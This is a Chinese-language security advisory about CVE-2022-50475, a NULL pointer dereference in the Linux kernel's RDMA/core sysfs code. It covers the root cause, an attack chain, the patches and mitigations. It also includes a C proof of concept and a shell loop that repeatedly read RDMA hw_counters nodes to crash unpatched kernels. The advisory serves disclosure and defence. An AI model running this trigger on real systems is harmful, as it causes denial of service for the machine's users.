IPBUF安全漏洞报告
English
CVE-2022-50475 CVSS 5.5 中危

CVE-2022-50475 Linux内核RDMA/core子系统空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50475
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(RDMA/core 子系统,ib_core 模块)

相关标签

Linux KernelRDMA空指针解引用拒绝服务本地提权内核漏洞sysfsib_coreMellanoxBlueField

漏洞概述

CVE-2022-50475是Linux内核RDMA(远程直接内存访问)核心子系统中的一个空指针解引用漏洞。该漏洞源于ib_port结构体在sysfs kobject添加之前未被正确初始化,或在移除后未被正确重置。当用户或进程通过sysfs文件系统访问与RDMA端口相关的属性节点(如hw_stat_port_show)时,内核会尝试通过未初始化或已释放的ib_port指针访问内存,从而触发空指针解引用错误,导致内核崩溃(kernel panic/Oops)。

该漏洞的影响范围涵盖使用RDMA功能的Linux系统,特别是在BlueField SoC等Mellanox硬件平台上使用mlx5_ib驱动的环境。漏洞触发后,系统会产生内核Oops异常,可能导致系统服务中断或系统完全不可用。由于该漏洞需要本地访问权限且需要低权限用户身份,因此被评定为中危级别,但其对系统可用性的影响为高(Availability: High),可造成拒绝服务攻击。

该漏洞已在Linux内核稳定版本中通过提交5e15ff29b156、ac7a7d707912、cd06d32a71fb和f981c697b2f9等补丁修复,修复方案是确保ib_port结构体在添加sysfs kobject之前完成设置,并在移除kobject后进行重置。

技术细节

该漏洞的根本原因在于RDMA核心子系统(ib_core)的端口管理代码中,ib_port结构体的生命周期管理与sysfs kobject的生命周期管理不同步。具体来说:

1. **代码路径问题**:在ib_core模块的端口初始化函数中,sysfs kobject的创建和注册发生在ib_port结构体完全初始化之前。同样,在端口清理函数中,ib_port结构体的重置发生在sysfs kobject移除之后。

2. **漏洞触发流程**:当用户空间进程(如通过cat命令读取sysfs节点)访问/sys/class/infiniband/下的端口属性文件时,内核会调用port_attr_show回调函数,进而调用hw_stat_port_show等具体实现函数。这些函数通过container_of宏从kobject获取对应的ib_port指针,但如果ib_port尚未初始化或已被重置,container_of将返回无效地址。

3. **崩溃机制**:hw_stat_port_show函数尝试通过无效的ib_port指针访问端口硬件统计信息(如offset 0x50处的成员),触发数据中止异常(Data Abort),产生96000006类型的Oops错误,PC指向hw_stat_port_show+0x4c/0x80。

4. **利用方式**:本地低权限用户只需执行类似`cat /sys/class/infiniband/mlx5_0/ports/1/hw_counters`的命令即可触发崩溃,造成拒绝服务攻击。无需特殊权限或用户交互。

5. **修复方案**:在内核补丁中,将ib_port的赋值操作移到kobject_init_and_add之前,并在kobject_put之后将ib_port重置为NULL,确保在sysfs节点可访问期间ib_port始终有效。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核版本的系统上获得本地用户访问权限。系统需要配备RDMA硬件(如Mellanox ConnectX系列网卡或BlueField SoC),并加载ib_core和mlx5_ib等RDMA相关内核模块。
STEP 2
步骤2:识别RDMA设备
攻击者通过读取/sys/class/infiniband/目录下的设备列表,识别系统中可用的RDMA设备和端口号,确定可利用的sysfs节点路径。
STEP 3
步骤3:触发空指针解引用
攻击者执行cat或read操作访问/sys/class/infiniband/<dev>/ports/<port>/hw_counters等sysfs节点。当ib_port结构体处于无效状态时,内核调用hw_stat_port_show函数访问无效指针,触发NULL指针解引用异常。
STEP 4
步骤4:内核崩溃
内核产生Data Abort异常(ESR=0x96000006),触发Oops错误(96000006 [#2] PREEMPT SMP),导致系统服务中断或完全崩溃,实现拒绝服务攻击。
STEP 5
步骤5:影响扩大
在多用户或生产环境中,攻击者可编写脚本持续触发该漏洞,反复导致系统崩溃,影响业务可用性。由于无需特殊权限,攻击门槛较低。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50475 PoC - Trigger NULL pointer dereference via sysfs access // This PoC triggers the vulnerability by accessing RDMA port sysfs nodes // while the ib_port structure is in an invalid state. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> // Find RDMA device ports in sysfs int find_rdma_ports(char paths[][256], int max_paths) { DIR *dir, *subdir; struct dirent *entry, *subentry; char base_path[] = "/sys/class/infiniband"; int count = 0; dir = opendir(base_path); if (!dir) { perror("Cannot open /sys/class/infiniband - RDMA not available"); return -1; } // Iterate through RDMA devices while ((entry = readdir(dir)) != NULL && count < max_paths) { if (entry->d_name[0] == '.') continue; char dev_path[256]; snprintf(dev_path, sizeof(dev_path), "%s/%s/ports", base_path, entry->d_name); subdir = opendir(dev_path); if (!subdir) continue; // Iterate through ports of each device while ((subentry = readdir(subdir)) != NULL && count < max_paths) { if (subentry->d_name[0] == '.') continue; snprintf(paths[count], 256, "%s/%s/hw_counters", dev_path, subentry->d_name); count++; } closedir(subdir); } closedir(dir); return count; } // Trigger the vulnerability by reading hw_counters sysfs node int trigger_crash(const char *path) { int fd; char buf[4096]; ssize_t ret; printf("[*] Accessing: %s\n", path); fd = open(path, O_RDONLY); if (fd < 0) { printf("[-] Cannot open %s: %s\n", path, strerror(errno)); return -1; } // Reading triggers hw_stat_port_show -> NULL pointer dereference ret = read(fd, buf, sizeof(buf) - 1); close(fd); if (ret < 0) { printf("[+] Read failed (expected if kernel crashed): %s\n", strerror(errno)); return 0; } printf("[+] Read %zd bytes successfully\n", ret); return 0; } int main(int argc, char *argv[]) { char paths[16][256]; int num_ports, i; printf("=== CVE-2022-50475 PoC ===\n"); printf("Linux Kernel RDMA/core NULL Pointer Dereference\n\n"); num_ports = find_rdma_ports(paths, 16); if (num_ports <= 0) { printf("[-] No RDMA ports found. Need RDMA-capable hardware.\n"); printf("[-] Example: Mellanox ConnectX-5/BlueField SoC with mlx5_ib\n"); return 1; } printf("[*] Found %d RDMA port(s)\n\n", num_ports); // Repeatedly access sysfs nodes to trigger race condition / crash for (i = 0; i < num_ports; i++) { trigger_crash(paths[i]); } // Aggressive loop to maximize chance of hitting the race window printf("\n[*] Entering aggressive trigger loop...\n"); for (int round = 0; round < 100; round++) { for (i = 0; i < num_ports; i++) { trigger_crash(paths[i]); } usleep(1000); } printf("\n[*] Done. If kernel didn't crash, timing window was missed.\n"); return 0; } // Alternative shell-only trigger: // for i in $(seq 1 1000); do // cat /sys/class/infiniband/*/ports/*/hw_counters 2>/dev/null // done // // Compile: gcc -o poc poc.c // Run: ./poc (requires RDMA hardware and unpatched kernel)

影响范围

Linux Kernel < 5.15.80(受影响的稳定分支)
Linux Kernel < 5.10.155
Linux Kernel < 5.4.225
Linux Kernel < 4.19.262
使用RDMA/core子系统的所有未修复内核版本(特别是BlueField平台4.19.161-mlnx.47.gadcd9e3等Mellanox定制版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过修改文件权限限制普通用户对/sys/class/infiniband/目录下sysfs节点的访问(chmod 600或移除读权限);2)在不需要RDMA功能的系统上卸载ib_core、ib_umad、mlx5_ib等RDMA相关内核模块;3)使用SELinux或AppArmor等强制访问控制机制限制对RDMA sysfs节点的访问;4)对于BlueField平台,升级到包含修复的Mellanox OFED驱动版本;5)监控系统日志,及时发现内核Oops异常并采取应对措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表